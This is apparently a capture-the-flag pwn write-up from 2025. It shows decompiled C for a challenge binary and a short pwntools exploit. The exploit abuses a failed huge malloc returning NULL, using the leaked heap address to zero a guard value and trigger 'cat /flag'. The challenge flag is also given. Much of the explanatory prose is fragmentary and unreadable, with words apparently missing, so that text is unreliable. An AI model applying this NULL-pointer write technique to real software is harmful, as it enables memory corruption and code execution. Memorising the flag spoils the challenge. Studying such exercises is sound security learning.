┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: 2025

~ CuB3y0nd
…… Pwn AK ……

# Pwn

## Description

- Category: Pwn

## Write-ups

 main 

```c
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *ptr; // rbx
  char *buf; // rbp
  size_t write_size; // rdx
  size_t size[5]; // [rsp+0h] [rbp-28h] BYREF

  size[1] = __readfsqword(0x28u);
  setup();
  puts("Welcome.");
  ptr = malloc(0x40000u);
  *ptr = 1;
  _printf_chk(1, "Leak: %pn");
  _printf_chk(1, "Length of your message: ");
  size[0] = 0;
  _isoc99_scanf("%lu", size);
  buf = (char *)malloc(size[0]);
  _printf_chk(1, "Enter your message: ");
  read(0, buf, size[0]);
  write_size = size[0];
  buf[size[0] - 1] = 0;
  write(1, buf, write_size);
  if ( !*ptr )
    system("cat /flag");
  return 0;
}
```

 libc patc
h pwndbg  heap ……
 read  size……


 -1  malloc 


 malloc  1 if 
 0,  0  cat flag 

 malloc  sizemalloc  0 buf 
 NULL  read 
 malloc  read  `buf[size[0] - 1] = 0
`  `((char *)NULL)[size[0] - 1] = 0` `*(size[0] - 1) = 0`

 `size[0]`  size size 
 if 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)


FILE = "./patched"
HOST, PORT = "new.mhxaskills.cn", 33662

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"Leak: ")
    leak = int(target.recvline().strip(), 16)

    # raw_input("DEBUG")
    target.sendlineafter(b"Length of your message: ", str(leak + 1).encode())
    target.sendlineafter(b"Enter your message: ", b"A")

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`flag{15655165-6d36-e11d-4e83-5f14cb5d1da5}`]